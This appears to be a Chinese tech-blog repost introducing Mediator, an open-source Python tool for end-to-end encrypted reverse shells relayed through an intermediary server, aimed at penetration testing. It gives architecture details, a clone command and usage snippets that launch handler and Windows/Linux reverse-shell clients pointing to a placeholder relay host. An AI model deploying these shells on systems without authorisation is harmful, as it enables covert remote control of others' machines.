Mediator:一款功能强大的可扩展端到端加密反向Shell

Mediator:一款功能强大的可扩展端到端加密反向ShellMediator是一款功能强大的可扩展端到端加密反向Shell,该工具基于新型架构实现,采用Python语言开发,能够帮助广大研究人员通过一台“Mediator”服务器来跟Shell建立连接。这样一来,研究人员就不需要处理程序设置端口转发以

大家好,欢迎来到IT知识分享网。


Mediator是一款功能强大的可扩展端到端加密反向Shell,该工具基于新型架构实现,采用Python语言开发,能够帮助广大研究人员通过一台“Mediator”服务器来跟Shell建立连接。这样一来,研究人员就不需要处理程序设置端口转发以侦听连接。除此之外,Mediator还可以帮助我们创建插件来扩展反向Shell的功能。

值得一提的是,我们不仅可以将Mediator的脚本作为独立的可执行文件运行,也可以将它们导入到其他渗透测试或事件响应工具中进行集成。

工具体系架构

Mediator受到了端到端加密聊天应用程序的启发,因此Mediator使用了一种独特的方法来实现反向Shell的客户端/服务器模型。Mediator使用了如下所示的方法:

客户端反向Shell

客户端Handler/Operator

一台服务器作为连接两端的桥梁

反向Shell和Handler会使用一个连接密钥来跟Mediator服务器进行连接。服务器会监听80端口(Handler连接)和443端口(反向Shell连接)。当客户端连接至Mediator服务器时,服务器将桥接这两个连接。此时,两个客户端之间将进行密钥交换,反向Shell和Operator之间的所有通信流量都将采用端到端加密,这样就可以确保不会有其他第三方窥探Mediator正在传输的流量数据。

插件机制

Mediator的插件机制将允许我们添加额外的命令,这些命令能够在研究人员的主机以及目标主机上执行各种代码。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/lawndoc/mediator.git

工具配置&使用

服务器端

客户端脚本可以在Windows或Linux系统上运行,但你首先需要在Linux主机上配置并开启服务器(mediator.py)。服务器基于纯Python开发,因此在使用前无需安装额外的依赖组件。接下来,我们就可以使用下列命令来启动服务器了:

$ python3 mediator.py

或者,我们也可以使用提供的Dockerfile来在容器中运行Mediator服务器(确保开启了80端口和443端口)。

客户端

如需使用客户端脚本,则需要安装requirements.txt中定义的所有依赖组件,我们可以使用下列命令实现:

$ pip3 install -r requirements.txt

Mediator服务器地址

在使用Python脚本时,我们首先需要实例化中介主机的地址:

Handler类

from handler import Handler operator = Handler(mediatorHost="example.com") operator.run()

WindowsRShell类

from windowsTarget import WindowsRShell shell = WindowsRShell(mediatorHost="example.com") shell.run()

如果直接通过Shell执行客户端脚本,则则可以对脚本底部的地址进行硬编码,或者通过-s或–server参数来指定服务器地址:

handler.py

$ python3 handler.py -s example.com

windowsTarget.py

> python windowsTarget.py -s example.com

连接密钥

服务器只接受前缀为“#!ConnectionKey”的密钥,默认的连接密钥为“#!ConnectionKey_CHANGE_ME!!!”。

如需修改Python脚本所使用的连接密钥,可以选择在实例化时提供连接密钥:

Handler类

from handler import Handler operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key") operator.run()

LinuxRShell类

from linuxTarget import LinuxRShell shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key") shell.run()

或者, 在Shell中运行客户端脚本时,通过-c或–connection-key参数来指定连接密钥。

项目地址

Mediator:https://github.com/lawndoc/mediator

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/86687.html

(0)

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

关注微信